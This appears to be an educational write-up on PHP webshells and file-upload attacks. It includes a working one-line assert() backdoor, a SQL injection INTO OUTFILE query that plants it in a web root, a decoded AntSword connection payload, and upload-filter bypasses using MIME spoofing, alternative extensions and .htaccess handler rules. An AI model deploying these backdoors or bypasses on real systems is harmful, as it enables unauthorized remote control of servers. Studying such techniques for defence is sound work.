HTTP Request Methods and Data Transmission

When clients interact with web servers, HTTP/HTTPS protocols facilitate the exchange of request and response messages. The primary methods for transmitting data are GET and POST.

• GET Request: Parameters are appended to the URL as query strings, separated by ampersands (e.g., http://target.org/api?user=admin&id=101). This method is restricted to ASCII characters and cannot handle binary data like multimedia files.
• POST Request: Data is encapsulated within the HTTP request body, keeping the URL clean. Crucially, POST supports multipart/form-data encoding, enabling the transmission of binaries such as images and executables.

PHP processes these inputs using superglobals. For instance, retrieving a GET parameter:

$inputData = $_GET['cmd'];
echo $inputData;

When accessing http://target.org/index.php?cmd=test, the script outputs test. POST parameters are accessed similarly via $_POST['cmd'].

Remote Execution Shells and Compact Payloads

A webshell is a malicious script deployed on a target server to grant attackers persistent remote control. By exploiting vulnerabilities, adversaries inject these scripts into web directories, enabling arbitrary command execution through browser-based clients or dedicated administration tools.

Compact PHP backdoors often rely on single-line constructs:

<?php @assert($_REQUEST['payload']); ?>

Component breakdown:

• @: Error suppression operator, preventing warnings from interrupting execution.
• assert(): Evaluates the incoming string as executable PHP code. Unlike eval(), which is a language construct and cannot be dynamically invoked as a variable function, assert() operates as a standard function, offering more flexible invocation. Additionally, eval() can directly execute base64-encoded strings if wrapped in a decoder, whereas assert() expects valid, pre-decoded PHP syntax.
• $_REQUEST['payload']: Captures the instruction set transmitted via HTTP POST or GET.

Connection clients, such as AntSword, interact with this endpoint by sending the payload parameter containing base64-encoded operational scripts.

Database-Driven File Injection

SQL injection vulnerabilities can be leveraged to write webshells directly to the server filesystem using database features. Three prerequisites must be satisfied:

• Verify database file privileges via SHOW VARIABLES LIKE 'secure_file_priv'.
• The database user must possess the FILE privilege, allowing OS-level read/write operations.
• The absolute path to a writable web directory must be known.

When these conditions align, the INTO OUTFILE directive can deposit a backdoor:

SELECT '<?php @assert($_REQUEST["payload"]); ?>' INTO OUTFILE '/var/www/html/secret_access.php'

Client-Side Obfuscation and Execution Flow

To evade detection, connection clients obfuscate traffic by dynamically encoding payloads. A typical intercepted request contains two key segments:

• A POST parameter containing the encoded instruction: exec_token=...
• A decoder wrapper: decoder=%40assert(%40base64_decode(%24_POST%5Bexec_token%5D))%3B

URL-decoded, the wrapper resolves to:

decoder=assert(base64_decode($_POST['exec_token']))

The server effectively executes:

<?php @assert(base64_decode($_POST['exec_token'])); ?>

Decoding the exec_token value reveals the payload responsible for establishing the session:

<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
function encodeOutput($data) {
    return $data;
}
function sendResponse() {
    $buffer = ob_get_contents();
    ob_end_clean();
    echo "marker_start";
    echo @encodeOutput($buffer);
    echo "marker_end";
}
ob_start();
try {
    $currentPath = dirname($_SERVER["SCRIPT_FILENAME"]);
    if ($currentPath == "") {
        $currentPath = dirname($_SERVER["PATH_TRANSLATED"]);
    }
    $resultStr = $currentPath;
    if (substr($currentPath, 0, 1) != "/") {
        foreach (range("C", "Z") as $driveLetter) {
            if (is_dir($driveLetter . ":")) $resultStr .= $driveLetter . ":";
        }
    } else {
        $resultStr .= "/";
    }
    $userInfo = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
    $userName = ($userInfo) ? $userInfo["name"] : @get_current_user();
    $resultStr .= php_uname() . "	" . $userName;
    echo $resultStr;
} catch (Exception $err) {
    echo "ERROR://" . $err->getMessage();
}
sendResponse();
die();
?>

Server-Side Upload Restriction Bypass Strategies

MIME Type Manipulation

If the backend filters uploads based on file extensions (e.g., blocking .php while allowing .jpg), proxy tools can intercept the HTTP request and alter the Content-Type header. Changing the header from application/octet-stream (typical for PHP scripts) to image/jpeg can bypass superficial frontend or backend validation.

Alternative Extension Parsing

When common executable extensions (.php, .asp, .jsp) are blacklisted, Apache configurations might still associate alternative extensions with the PHP engine. Uploading a file as exploit.php5 or exploit.phtml can force the server to process the file as PHP.

Configuration Override via .htaccess

If the server allows file upload without strictly validating filenames, an attacker can upload a malicious .htaccess file to redefine Apache's parsing rules for the target directory.

Common configuration directives include:

AddHandler php5-script .img
AddType application/x-httpd-php .img
SetHandler application/x-httpd-php

• SetHandler: Forces all files within the directory and its subdirectories to be processed by the PHP engine.
• AddType: Maps a specific extension (.img) to the PHP MIME type.
• AddHandler: Associates files ending in .img with the php5-script processor.

Once the .htaccess rule is active, any subsequently uploaded image file containing PHP code will be executed as a valid script.